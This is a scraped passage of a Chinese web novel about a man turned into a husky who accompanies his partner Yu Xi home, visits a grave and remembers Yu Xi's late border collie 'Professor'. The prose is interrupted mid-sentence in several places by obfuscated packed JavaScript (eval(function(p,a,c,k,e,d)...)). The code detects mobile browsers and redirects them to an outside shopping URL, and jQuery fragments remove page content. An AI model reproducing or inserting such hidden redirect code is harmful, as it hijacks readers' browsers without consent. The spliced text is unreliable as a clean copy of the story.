高三的寒假,闵嘉胥闹着要他补课。喻熙被他缠得烦了,故意让他来家里补习,以为靠教授能把人吓走。但他好像低估了闵嘉胥的执着,哪怕看见教授就条件反射地畏惧,他也咬着牙来了。 他既然敢来,那喻熙就遵守约定给他讲题。教授似乎知道闵嘉胥怕他,坏心眼地故意趴在窝里睡觉。 冬天的太阳暖融融的照在小狗身上,给毛发尖镀上一层闪亮的金色。闵嘉胥盯着教授看了半晌,憋出一句话:“他......他睡着的时候其实还挺可爱的。” “他和你玩的时候不可爱?” 喻熙瞥了他一眼:“教授是最可爱的小狗。” 教授的耳朵微动了动,听见了两人的谈话,慢悠悠地直起上半身,长嘴打了个哈欠。 闵嘉胥如临大敌地往后挪了挪,拿起桌上的书本举在面前。教授懒得理他,从飘窗上跳下来走到喻熙身边,亲昵地蹭了蹭他,而后带着几分得意地看向闵嘉胥。 闵嘉胥觉得自己被狗挑衅了,狗觉得闵嘉胥怕他简直太怂,一人一狗再一次较起劲来,谁也不服气谁。喻熙就在旁边笑着看热闹,总觉得这样的下午过得特别快。 一转眼已经十年了,当年小房间里温柔的冬日下午也不在了。 只是教授都走了这么长时间,家里人还洗那块垫子做什么呢? 喻熙深吸了一口气,觉得眼眶有些酸涩。 或许是家人也想教授了吧。 又或许是在讨好他呢? 喻熙不太想去细究这些事。 亲人啊,血缘关系啊,就是这么麻烦的东西。放在平日,他们如何亏欠你,如何待你不好,如何与你有争吵,说起来都头头是道的,觉得自己已经硬下心肠了。可一旦在边边角角里发现了一些若有似无的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050852|135332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱意和愧疚,就能再一次变得心软,再一次冒出“原谅他们”的念头。 *** 闵嘉胥看见喻熙把自己关在房间里,觉得他可能是把自己忘了。 喻家他来过很多次,高中蹭饭补习,大学替喻熙探望父母,比他自己家回得都勤。但他现在只是一只人畜无害的小狗,把他一只狗丢在客厅可太无情了吧? 闵嘉胥也不想和喻父独处一室,夹着尾巴溜进了厨房。 喻母正在择菜,看见他溜溜达达进来,笑了下:“你是小熙养的狗?” 哈士奇张开嘴吐了吐舌头,算是回答了她的问题。 凑近来看,喻母好像又老了,眼角多了细密的皱纹,比和他上次见面时沧桑了不少。 他“呜呜”地低吠了几声,在喻母身旁坐下,仰头看向对方,表明了自己的亲近。 “之前小闵总和他一起来。” 丈夫寡言,亲戚来往不多,孩子又不回家,她似乎平时没有人聊天,所以只能对着厨房里唯一的活物说说话:“小闵人好,总跟我说小熙是忙才不能回家,不是不想,但其实我知道小熙不是不想,是恨着我俩呢。” 闵嘉胥眨了眨眼,觉得有些不太好意思。 原来他的谎言是这么容易被戳破的吗? 但他夹在中间,也只是希望两边都能轻松一点,开心一点,才撒这样无伤大雅的小谎。 “小闵陪在他身边我总能放心些,不然他照顾不好自己,”不知道为什么,喻母觉得眼前这只狗好像通人性,能听懂她在说什么。让她的话也多了起来,“这孩子和他爸一样,特犟,有时候也不好好说话,多不让人放心。” 闵嘉胥深以为然地点点头。 笨蛋喻哥确实不会照顾自己,还得他一只小狗狗给他送药盖被子。 “小熙之前也养过一只狗,我同事送的,好像叫边牧。” 喻母用指节抹了抹眼角:“很聪明的一只狗,但是老了,心肺衰竭走的,要是他还在就好了,小熙也能开心点。” “从前小熙他外公可喜欢那只边牧,因为小熙喜欢,”她的声音里带着哭腔,连说的话也变得语无伦次起来,想到哪里说到哪里,“我,我其实也觉得当年应该先告诉小熙的,我也觉得对不起他。” “但是人都走了这么久了,说对不起也没用了。” 闵嘉胥看着眼前默默流泪的女人,抬起一只爪子,有些别扭地拍了拍她的肩。 还有用的,闵嘉胥张了张嘴,想告诉她。 有个别扭的,停在原地的笨蛋,应该真的很在乎那句没说出口的“对不起”。 26.第 26 章 喻母好像意识到自己的话说得有点多,慌忙用手背抹了抹眼睛,继续低头择菜:“算了,我和一只小狗说什么呢。” 闵嘉胥舔了舔嘴,不知道自己该做什么动作来安慰她。 虽然当事人不是他,但他完全能共情喻熙的难过。如果换做是他,被全家上上下下瞒着消息,失去了见最重要的人最后一面的机会,那他做出的事或许会比喻熙还极端。 但现在喻母这副脆弱的样子又确实让他心软了不少。 再怎么说,走的也是她的父亲,她也会伤心,可就算她很伤心,也没法抹去这件事对喻熙的伤害。 闵嘉胥叹了口气。 人类啊,果然是最麻烦的生物。 他站起身,小心地抖了抖身上的毛,转转头,还是从一边的灶台上叼了一包纸巾下来,轻轻放在了喻母面前。 喻母愣了下,抿着唇,抽出一张纸巾把泪痕擦净,低声说了句“谢谢”。 门外响起由远及近的脚步声,闵嘉胥连忙后退几步,目光落在窗外,装成一直在看外面飞过的小鸟,尾巴心虚地晃来晃去。 喻熙推开了厨房的拉门,看见狗也在的时候愣了下,开口时的语气有些生硬:“你在这儿干什么?” 哈士奇动了动嘴皮子,不敢在喻熙正在气头的时候惹他,乖乖地夹着尾巴走到了喻熙身边。 那还不是因为喻熙进屋的速度太快,把他落在客厅了吗? 狗臊眉耷眼地蹲在喻熙脚边,讨好地蹭了蹭他的腿,意思是让他不要生气了。喻熙没注意到狗的小动作,垂眸对喻母道:“我一会儿就去扫墓,晚饭在外面吃,不用给我做了。” 喻母愣了下,慌忙道:“菜都买了,就,就在家吃吧。” 喻熙正要继续开口说话,哈士奇忽然叼着他的衣袖拽了拽。他被狗拽得猝不及防,身子向前踉跄了下,拧着眉向狗看去,发现狗的目光不偏不倚地落在灶台料理好的鸡腿上。 哈士奇呜呜嘤嘤地叫了几声,“吧唧吧唧”地舔着嘴,似乎在暗示他什么。 喻熙眯着眼,心道他怎么忘了这只狗格外喜欢吃人类的食物,进了人的厨房那不就和耗子钻香油里似的吗? “你要是不想回家吃,那在外面吃也行,”喻母让步了,“我给你留点饭放在锅里,你晚上要是饿了......” “算了。” 喻熙忽然开口,打断了她的话:“我回来吃。” 他说完便转身离开了厨房,闵嘉胥连忙“哒哒哒”地跟了上去,走了两步回头,还不忘对喻母眨眨眼,示意她晚上是个绝好的机会和喻熙道歉。 喻母有些疑惑地看向狗,但狗却和什么都没发生似的,加快脚步追喻熙去了。 *** 喻熙外公下葬的墓园离喻熙家不算远,喻熙喊了辆网约车,让司机停到了墓园外面,准备牵着狗自己走进去。 刚开始他没想带哈士奇来,但哈士奇又故伎重演,又是叼项圈牵引绳又是在门口拽他的裤脚,他没办法,确认动物能进墓园后才把狗带上。 “你真的太像个人了。” 走到一半,喻熙忽然开口:“有时候我都在想,你是不是真能听懂我说的话。” 周六下午的墓园没有人,空气中弥漫着粘稠的寂静。自从变成狗后闵嘉胥就开始敬畏鬼神之说,这会儿喻熙忽然开口说话把他吓了一跳,背上的毛炸了起来,像一块蓬松的毯子。 喻熙没注意到他炸毛,自顾自道:“我一说不在家里吃饭,你就拽我让我看鸡腿。我一说要自己出门,你就叼着牵引绳来找我......你真能听懂我说的话?” 他边问,目光边落在了闵嘉胥的身上,若有所思地看着眼前这条自己捡回来的狗:“按理说哈士奇的智商不应该有这么高的,好怪。” 这话听得闵嘉胥汗流浃背,一双鸳鸯眼的瞳孔微缩,视线漫无目的地落在了湛蓝的天上,学着短视频里的哈士奇露出一副智障的样子。 喻熙观察狗的表情观察了半天也没找出什么蹊跷,正好走到了外公安葬的地方,只好作罢。 按理说应该是明天他们一家人一起来祭拜的,但喻熙不想见那帮烦人的亲戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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喻熙有些奇怪地看了他一眼,站起身,最后向那柱即将燃尽的香拜了拜,慢慢走到墓碑后种的那棵松树前,声音中多了几分温柔:“教授,我也来看你了。” 27.第 27 章 当年闵嘉胥和教授不对付,不只是因为他有点害怕小狗。 他和喻熙表白的时候是大一的暑假。 那会儿两个人搭伴回家,他心怀鬼胎,磨磨蹭蹭地跟在喻熙身后,说是要把他送回家。7月末的望海温度有些高,柏油马路烫得能煎个鸡蛋。喻熙觉得大热天让闵嘉胥在外面待太久不好,最后还是提出了各回各家的建议。 闵嘉胥表白的话还没来得及说,一听对方要分开,立刻就急了,戳在路中间看向喻熙,卯足了浑身上下的所有勇气大声说:“哥,我等等再走,我有话要和你说!” 喻熙有些莫名,转身看向他,目光中有几分担忧:“你没事吧,是不是哪里不舒服?” 闵嘉胥脸红得像个番茄。 他觉得自己的头要被烈日烤得冒烟了,连带着智力也一同被蒸发,精心准备好的腹稿一句也记不住,甚至路上演练的浪漫场景全都消失了,只剩下大脑里被源源不断蒸走的水分。 第一句是什么来着?泰戈尔的那句诗应该怎么念? “实在想不起来就算了,”喻熙说,“回家想起来手机上说也是一样的,外面太热了,你别中暑。” 不,根本一样,表白就是要当面说才对。 听见对方又有要走的意思,闵嘉胥更急了,忘了什么泰戈尔莎士比亚的十四行诗,脱口而出:“哥,其实我喜,喜欢......” 嘹亮的犬吠声从不远处响起,打断了他还没说出口的话,一道黑影从他身后的小巷中疾驰而来,背上黑色的皮毛在阳光下发亮。 教授像一道闪电,精准地弹射到喻熙面前,却撞到了闵嘉胥的腿,让他踉踉跄跄地往前一扑,径直扑到了喻熙的怀里。 教授以为闵嘉胥在欺负喻熙,当即“汪汪汪”地叫了起来,引得两个路过的人纷纷侧目,不知道这两人一狗大夏天杵在路中间干什么。 喻熙接住了闵嘉胥,扬起眉,不动声色地看向今天特别反常的人。 虽然他对有些事很迟钝,但倒也没迟钝到这个地步,连闵嘉胥想做什么都看不出,只是他也很紧张,不知道该说什么,又不忍心破坏小孩精心为他准备的惊喜,于是装着什么都没感觉到,甚至还几次想把闵嘉胥赶回家。 闵嘉胥被他扶起来的时候脸更红了,像是要滴出血一样,不敢正眼看喻熙,盯着柏油马路,半天憋不出来一句话。 教授不知道自己打断了闵嘉胥的告白,站在喻熙身边,猛地蹦了起来,爪子扒在喻熙的胳膊上,急得直甩尾巴,似乎在让喻熙离闵嘉胥远点。 喻熙叹了口气,实在不忍心看闵嘉胥这副样子,主动开口道:“你......有话对我说?” 他不问还好,一问闵嘉胥的眼眶倏地红了,紧接着眼泪大滴大滴地顺着脸颊落下来,滴在了他手上。 怎么还哭了? 无论是考试成绩不好,还是和喻熙吵架,闵嘉胥都从没哭过,一直都以“满不在乎”的形象示人,这还是喻熙第一次见闵嘉胥哭。 喻熙没哄过人,手忙脚乱地从口袋里翻出一包纸巾,又把人拽到屋檐下的阴凉里躲一躲阳光:“别哭了,有什么事和我说。” 闵嘉胥精心准备的告白因为紧张全泡汤了,半路还杀出来一只狗当程咬金让他在喻熙面前丢脸,他现在只想找个地方吊死,这么一想悲从中来,眼泪更止不住了。 他胡乱地抹掉脸上的眼泪,但越抹自己越狼狈,像是把前几年的份额都哭出来了似的。喻熙见状叹了口气,转头看向一边夹着尾巴的狗。 “你过来,”他语气很冷,“给人家道歉。” 教授“呜呜”了两声,眼睛往上转了转,带着点做贼心虚的劲看着他,嘴皮子动了动,蹲在原地不动。 “过来。” 喻熙蹙眉,加重了语气:“你把人家撞倒了,不给他道歉吗?” 教授听他语气不好,臊眉耷眼地走了过来,站在闵嘉胥面前,“汪”了两声,中气十足,没听出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闵嘉胥脸上还挂着泪痕,手足无措地张大了嘴,半晌理智才慢慢回笼,觉得自己现在的表情一定特别蠢。 喜欢的人近在咫尺,甚至说了“以后要成为一家人”这种话,是什么意思? 喻熙蹙眉看着眼前的人脸色变幻莫测,不知道他在想什么,只静静地等闵嘉胥震惊完。 “你......” 闵嘉胥咽了口唾沫,像是等着主人给零食吃的小狗:“哥,你的意思是我想的那个意思吗?” “什么意思和什么意思?”喻熙又忍不住逗他,“你不是有话要说吗?说啊。” 教授不知道为什么两个人类能站在原地说这么长时间话,在喻熙的腿边钻来钻去,试图让主人注意一下自己。 但喻熙却一心一意地等着闵嘉胥回答自己的问题,暂时没空理小狗的诉求。 “我,其实我昨晚准备了很久,还和室友演练过了。” 在学校里闵嘉胥活跃在学生会和社团,是系里有名的社交恐.怖分子,无论遇到谁都能讲上两句。可现在他发现,原来说话也可以是一种酷刑。 他低头看着地砖,觉得自己脸上又开始发烫,索性闭上眼睛豁出去,一股脑地全说了出来:“室友说我台词背的很熟练,感情也到位,让我放心,所以我今天才大着胆子来表白,但是没想到我这么怂,连一句完整的‘我喜欢你’都说不出来,对不起哥,我......” “诶。” 喻熙打断了他的忏悔:“这不是完整地说出来了吗?” 闵嘉胥猛地抬头,看向眼前的人:“啊?” “刚才你不是完整地说出‘我喜欢你’了吗?”喻熙说,“很勇敢哦。” 闵嘉胥磕磕巴巴地开口:“那,那你......” 喻熙笑了,双眼微眯:“我也喜欢你。” *** 那大概是闵嘉胥过得最幸福的一个暑假。 他终于有了名正言顺赖在喻熙家的原因,不必再像原来那样绞尽脑汁地和喻熙编造“我要补习”的理由,光明正大地天天造访,甚至晚上还得寸进尺地留宿了。 唯一的不爽就是教授这只边牧。 不知道是因为从高中开始结下的梁子,还是因为闵嘉胥表白后独占了他的主人,每次闵嘉胥来的时候,教授看向他的目光都有些意味深长。 在此之前,闵嘉胥以为狗都是没有什么表情的,托教授的福,他大概知道了狗鄙视一个人时的眼神是什么样的。 那会儿互联网上还没有那么多营销边牧聪明的视频,也没有“狗是狗边牧是边牧”的言论,更没有“边牧把金毛带出去扔了”的新闻,所以闵嘉胥只把教授当成一只普通小狗,甚至还试图和他搞好关系。 可教授却对他的小恩小惠一点兴趣都没有,很多时候都假装听不见他说话,被喊得烦了也只甩甩尾巴,再用那种鄙视的目光看向闵嘉胥,意思是你到底想怎样。 闵嘉胥一直觉得自己没必要和小狗斤斤计较,直到暑假快结束的时候。 那天他和喻熙关着卧室门看电影,看的是一部外国的同性电影,少不了几段拍得极为旖旎的亲密戏。 两人本来就靠着坐在一起,心跳都变得有些乱,不由自主地贴得更近了,闵嘉胥咽了口唾沫,手自然而然地搭上了喻熙的腰。 实话实说,平常借给他一百八十个胆子都不敢这么对喻熙。对他来说,喻熙是哥哥,是天上下凡的文曲星,是把高一的他从堕落边缘拽回来的大恩人,那是要捧在手里含在嘴里的宝贝。但气氛都到这儿了,不抱一下好像也不合适。 他看着屏幕里情到浓处的主角,忍不住想如果是自己的话会怎样,会以什么姿势抱着喻熙,会...... 刚想了两秒,他就给了自己一巴掌。 你在想什么龌龊的东西?刚谈了不到两个月的恋爱,你就敢yy你哥了? 喻熙听见了这道清脆的巴掌声,有些奇怪地侧眸看向身边的人:“你在干嘛?” “醒醒神,”闵嘉胥声音有些哑,“看困了。” 喻熙再次看向电视屏幕,觉得眼下这段剧情怎么看都不应该是“能看困”的剧情。 “哥。” 闵嘉胥又咳了一声:“那,那什么,你觉不觉得有点热?” 他问这话的时候小心翼翼,可其中藏着的小心思全被人看透了。 喻熙舔了下唇,忽然问他:“你脑袋里在想什么呢?” 闵嘉胥心里一惊,磕磕巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164773|135332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴道:“没,没想——” “少撒谎,”喻熙说,“你想什么我还能看不出来?” 闵嘉胥倏地脸红了,手脚不知道往哪搁,静音了半晌才轻声说:“哥,对不起。” “有什么好对不起的?” 喻熙的声音也有些哑,带着笑:“气氛都到这儿了,试试?” 闵嘉胥觉得自己要熟了。 他脸上的温度比表白那天都热,烫得能立刻煎两个鸡蛋。 “真的吗哥?”他深吸一口气,抬手将喻熙轻轻搂在怀里,“就......就亲一下吧。” “当然是只亲一下。” 喻熙眯起眼,拧了把他腰上的肉:“不然你还想干什么?” “哦,哦......” 闵嘉胥微微低下头,语气有些委屈:“哥,我不会,你教教我。” “笨死了。” 喻熙的声音很轻,带着几分恨铁不成钢的意味:“自己琢磨,琢磨不会就别亲了。” 从高中开始,闵嘉胥就唯喻熙马首是瞻,喻熙说什么他做什么,哪怕是现在也一样。 他思来想去,还是决定先不搞那些花里胡哨的,鼓足了勇气正要吻上喻熙的唇,忽然传来了狗刨门的声音。 喻熙的指腹慢慢抚过他的脸颊,像在鼓励小狗:“别管他,继续。” 闵嘉胥再次低了低头,可狗刨门的声音越来越大,甚至开始中气十足地吠叫起来,把屋内刚刚营造的旖旎氛围全都冲散了。 闵嘉胥憋得满头大汗,额上的青筋跳了又跳,最后暴跳如雷地从床上蹦到门口,打开门,就看见教授正端坐在门口,头一次对着他咧开嘴笑得这么开心。 他忍了又忍,终于忍无可忍,咆哮道:“教授!!!” 教授舔了舔爪子,再一次对他露出了那种鄙视的眼神,转身溜溜达达地走了。 从那以后,每次闵嘉胥想找机会和喻熙亲热,只要教授在,就会从各种意想不到的角度打断他们的亲热。一次两次是偶然,次数多了,闵嘉胥就觉得这狗简直神了。 但是和狗斗智斗勇也挺有意思的,尤其是看见教授吃瘪时的狗脸,闵嘉胥都觉得特别有成就感。 所以后来教授生病时,闵嘉胥也会想,当那会儿如果再多陪陪他就好了。 29.第 29 章 教授是喻熙七岁的时候来的喻家,那时候他还是一只刚出生没多久的小奶狗,站起来连凳子的高度都没有。 边牧的幼年期和其他狗的幼年期没有什么区别,都是正作正淘的时候,他撕烂过很多包餐巾纸,咬坏过喻熙的书包,也乱拉乱尿过。喻熙的爸妈经常出差加班,老人又只会溺爱,教育小狗的任务就落到了喻熙身上。 那时候网络还不发达,没有那么多训犬必要性的科普视频,只是喻熙觉得不应该难为两个老人总是跟在小狗身后收拾烂摊子,所以开始了对教授的训练。 他摸索出来了奖励式训狗,每天没事的时候就拿着零食和小狗互动,不到一个月的时间内就教会了小狗握手、跟随、打滚和定点上卫生间。兴许是稍微长大了一点,又兴许是这些训练对边牧来说还算有挑战性,原本算是“混世魔王”的小边牧慢慢收敛起调皮的性子,成为了后来靠谱又忠心保护主人的“教授”。 每年喻熙的爸妈会抽空带他去体检,所以教授的身体一直十分健康。喻熙上大学放假回家,他也会一如过去那样矫健地从屋子里冲出来迎接他。 闵嘉胥总是觉得教授未免太健康了,十来岁的老年狗每天都精神矍铄得吓人,总是会出现在关键时刻,打消他刚冒出头的贼胆。 “你是不是故意的啊?” 某次闵嘉胥趁着喻熙不在,恶狠狠地瞪着正趴在飘窗上闭目养神的狗:“你对我有什么不满你直说呗?非得针对我,我好欺负啊?” 狗懒洋洋地甩了甩尾巴,意思似乎是“听见你说的话了”,但却并不想理闵嘉胥。 闵嘉胥更生气了,压着火气低声道:“那我和你商量商量,我给你带零食,你......您赏个脸,别在关键时刻突然出现,就当是为了我的心脏好,成不?” 教授终于舍得睁开眼看他,而后打了个长长的哈欠,从飘窗上跃下,不紧不慢地走到房间门前,在喻熙推门进来时露出了一个很灿烂的犬式微笑。 只有闵嘉胥受伤的世界诞生了。 后来闵嘉胥为了约会地点煞费苦心。他和喻熙都不喜欢去人堆里凑热闹,最喜欢做的事是和高中一样窝在小房间里看一下午电影消磨时间。喻熙偏爱在夏天看鬼片清凉一夏,拉着闵嘉胥把温子仁的鬼片都看完了。闵嘉胥虽然唯物,但到底还是害怕鬼,每次都想趁着鬼修女鬼娃娃jump scare的时候顺理成章地搂着喻熙或被喻熙搂着时,一只狗头都会从床边探出来,泛着绿光的眼睛幽幽地看向他。 “你看什么啊?” 闵嘉胥恨得咬牙切齿,连声音都有点变了调:“你又看不懂鬼片,睡你的觉去。” 教授懒得理他,往前凑了凑,把狗头搭在了喻熙的胳膊上,和闵嘉胥的姿势一模一样,像是在和闵嘉胥比着撒娇。 闵嘉胥看见狗的动作,恨得牙痒痒,也不管电视里的女鬼露着白花花的牙张牙舞爪,又往喻熙身边靠了靠,小声说:“哥,我真的害怕这个。” 教授也“汪汪”地叫了两声,也贴着喻熙不走,示威似的瞪着闵嘉胥。喻熙倒是喜欢看他们一人一狗较劲,觉得闵嘉胥也像只急需主人关注的小狗。 他那点坏劲冒了出来,故意问:“那你们俩谁最喜欢我?” 闵嘉胥还没来得及开口,响亮的“汪汪”声便立刻响了起来。他猛地抬头,正撞上教授得意洋洋的笑。 那时候闵嘉胥还在担心以后该怎么和教授平分和喻熙的宠爱,却没想到后来这样精力旺盛的教授健康就出了问题。 品种狗因为亲代繁殖的问题,本身携带的遗传病就要比非品种狗多。比如很多德牧的髋关节会出问题,很多金毛老了会长肿瘤,通常寿命要短一些。 那时候喻熙的外公去世刚满一年,他不想回家,过年的时候报名了学校组织的医疗帮扶计划,和导师同学一头扎进西北的贫困县,一待就是三四个月。 山里的信号不好,喻熙每天的聊天对象仅有闵嘉胥一个,每天晚上都会跑到附近的山坡上找信号给他打电话。 那天他刚结束给当地居民的卫生培训,还没来得及把白大褂换了就收到了闵嘉胥的消息。 “你有空回来一趟吗?”闵嘉胥问他,“教授病了。” 喻熙看见这行字时耳边“嗡”地响起一阵轰鸣声,抓起手机便跑向门外,喘着气给闵嘉胥拨了电话:“教授怎么了?” 闵嘉胥压低声音,轻声道:“昨天阿姨带着他去体检,做完CT,医生说他长了肿瘤,但是不建议手术......他年纪大了,打麻药的话容易出事。” “那怎么办?” 春末的傍晚,山风很凉,让他紧紧地捏着手机打了个哆嗦:“还能治吗?” 电话对面是一阵长长的沉默,喻熙就懂了闵嘉胥将说未说出口的话。 一时间开口说话变得格外艰难,他咽了口唾沫,觉得自己的声音像被磨砂纸擦过,生涩干哑:“......还剩多长时间?” “吃药的话,能拖一个月是一个月吧,”闵嘉胥说,“你什么时候回来?” 喻熙也不清楚他什么时候回去。 起初告诉他的志愿服务时间是一月到三月,但眼看着三月都快过去了,也没有要结束的意思。 “我不知道,”他重复着,“我不知道。” 闵嘉胥安慰他后信号断了,他一个人站在夜幕下,第一次觉得无力。 起初学医就是想给亲人爱人朋友看病,可不仅亲人走了,现在连小狗的病都无能为力。 *** 志愿服务五月结束,导师给学生放了几天假。 喻熙没等其他人,自己预约了早上六点到机场的车,像是和时间赛跑一样回了家。 这段时间闵嘉胥拿了创业金,一边和学弟给工作室选址,一边把教授接出来自己照顾。 教授病了后体重下得很快,刚开始还算有精力地找闵嘉胥玩球,后来病得厉害了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222413|135332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连吃饭都不太有力气,也变得温驯了不少,第一次和闵嘉胥和谐相处一室,再没了力气和他争风吃醋。 闵嘉胥看着他这幅样子心里难受得要命,又不敢给喻熙看出来,只能自己悄悄躲在卫生间里抹眼泪,哭完再出来又一幅嬉皮笑脸的样子,想方设法逗喻熙开心。 那时候他的工作室刚起步,做出来了个不错的小游戏,正在拉赞助,没有大房子,两个人带着一条狗住在小公寓里,却是一段难得温馨的时光。 教授走的那天闵嘉胥在家休息,抱着笔记本电脑在沙发上坐着改程序,这两天一直恹恹趴着的教授好像忽然来了精神,在屋子里转来转去,而后走到他腿边,用头轻轻蹭了蹭闵嘉胥的腿。 “怎么了?” 闵嘉胥删了个bug,顺手摸了摸小狗头:“想吃饭还是喝水?” 教授摇了摇尾巴,用鼻子顶了下闵嘉胥的手,继而目光望向了门口。 闵嘉胥继续猜:“想出去玩?” 教授转过头,用他特别熟悉的那种鄙视的目光看了他一眼,而后继续盯着门口看。 闵嘉胥被狗鄙视得莫名其妙,又想了一会儿,恍然:“你问喻熙什么时候回来?得晚上吧,他去图书馆了。” 教授似乎叹了口气,又在他的脚边趴了下来。 闵嘉胥跟着互联网学了很多照顾生病小狗的知识,立刻警觉起来,伸手去摸教授,才发现教授好像在发抖,呼吸十分急促,像一个小小的风箱。 他脸色大变,立刻打电话喊了车来,带着狗一路奔向宠物医院,又给喻熙打了个电话,让他快点回家。 教授一路都很安静,唯独那双从来都湿漉漉的眼睛静静地看着他,好像在说—— 我要走了。 早在年初的时候医生就几乎已经给教授宣判了死刑,他能撑到现在已经很不容易了。 医院给教授插上呼吸机,他却不愿老老实实地躺在病床上,非要支着上半身趴着,目光一直落在门口。 直到喻熙匆匆进来,他好像才放心地舒了口气,慢慢地侧过身倒了下去。 喻熙俯身,在医院惨白的灯光下轻轻亲了亲小狗毛茸茸的额头,就像很多年前的某个下午他从学校回家做的第一件事一样。 “我在呢,”他的眼泪克制不住地从眼角滑落,一滴滴地落在小狗的爪子上,“没事的。” 教授慢慢地眨了眨眼睛,支撑着起身,将他的眼泪舔掉,而后目光停在闵嘉胥身上。 闵嘉胥蹲在喻熙身边,低声道:“我......我肯定会保护好我哥的,你放心。” 教授似乎就是为了听他说这句话。 小狗好像很满意他的回答,也轻轻舔了他一下,而后闭上了眼,像是睡着了一样。 而闵嘉胥知道,他是走了。 往后再也不会有一只边牧对他露出那种鄙视的眼神,也不会在喻熙问“哪只小狗喜欢我”时汪汪叫着和自己争宠了。 30.第 30 章 满打满算也快十年过去了,但闵嘉胥好像还没见过喻熙来看过教授,不然他不可能不知道教授被埋在哪里了。 但是他或许能理解喻熙。 对很多人来说,总是习惯性地喊着“家”或者“妈妈”,不一定是他们想家了,可能只是需要一个安全的随时能缩回去藏起来的地方,是家也好,不是家也罢,只是需要这样一个“安全屋”,只是需要那种像“妈妈”一样安心的感觉。 或许这个地方就是喻熙的“安全屋”。 狗“呜呜”了两声,像是在试图开导喻熙。喻熙眨眨眼,回过神,将小土堆上的杂草稍微收拾了下,在碰到一株狗尾巴草时动作顿了顿。 狗尾巴草像是今年刚冒出来的,上面的“狗尾巴”还被两片叶子包裹着,没露出毛茸茸的本体。 喻熙犹豫片刻,还是让那棵刚长出来的狗尾巴草留在了原地。 哈士奇似乎担心他心情不好,摇着尾巴凑到他身边,非要伸着舌头舔他的侧脸。小狗舌头热乎乎湿漉漉的,蹭得他有点痒,于是假装生气地虎着脸:“别闹。” 狗大概知道他不是真的生气,又呜呜嘤嘤地不知道自己嘟囔着什么,把头凑到了喻熙手下,求喻熙摸摸。 喻熙看着他笨拙讨好自己的样子,没忍住笑了下,依照他的意思摸了摸小狗头。 狗能够嗅出人类的情绪,但是小狗也不知道该做什么让他开心,于是只会笨拙地邀请喻熙来摸摸自己,好像摸一摸心情就会好起来。 那时外公去世,喻熙也确实是把自己关在屋里,抱着教授度过了那几天难捱的时光。 喻熙深吸一口气,目光落在远方被夕阳染上金色的山尖上,又揉了下哈士奇的耳朵:“该走了。” 要回家吃饭吗? 狗对这件事还是比较在意,在他脚边绕了几圈,目光急切。 喻熙奇迹般地读懂了他的意思,没好气道:“回去吃饭,带着你我在外面也找不到能吃饭的餐馆啊。” 狗听了他的话,终于放下心来,又摇头晃脑地去把牵引绳叼了过来,让喻熙牵着自己回家。 *** 喻熙回家时是下午五点多。 夏天天黑得晚,这会儿阳光正灿烂着透过客厅的落地玻璃照在地板上,金灿灿的,让他有一瞬间觉得很恍惚,好像谁也没走,谁也没和谁吵架,这个家一直是这样的。 喻父重重地咳了一声,让他从恍惚中醒过神。 他瞥了一眼自己的父亲,抿了抿唇,有些生硬道:“我回来了。” 喻母似乎没想到他会主动开口说话,有些手忙脚乱地摆好餐具,犹豫片刻后开口:“这个......这个炖土豆是你爸爸炖的,从前你最爱吃的,他......” 喻熙撩起眼皮看了一眼桌上的菜,原本想和过去一样没有任何回应,但不知怎的察觉到了一道暗藏殷切的目光落在自己身上。 他垂下眼,轻叹一声:“嗯,好。” 喻母不清楚为什么他今天的态度这么好,连忙喊他落座,又给哈士奇端来了一盘鸡翅。 鸡翅是煮好的,没放盐,骨头被她去掉了,不会划伤小狗的嘴和胃。 哈士奇兴高采烈地摇着尾巴,绕着盘子里的鸡翅转了两圈,而后才在喻熙脚边趴下,开始享用自己的晚餐。 馋死你得了,喻熙在心里冷笑。 他顺手夹了一筷子放在自己面前的菜,熟悉的味道从味蕾蔓延到整个口腔,让他瞬间回忆起了许多年前的无数个夏天。 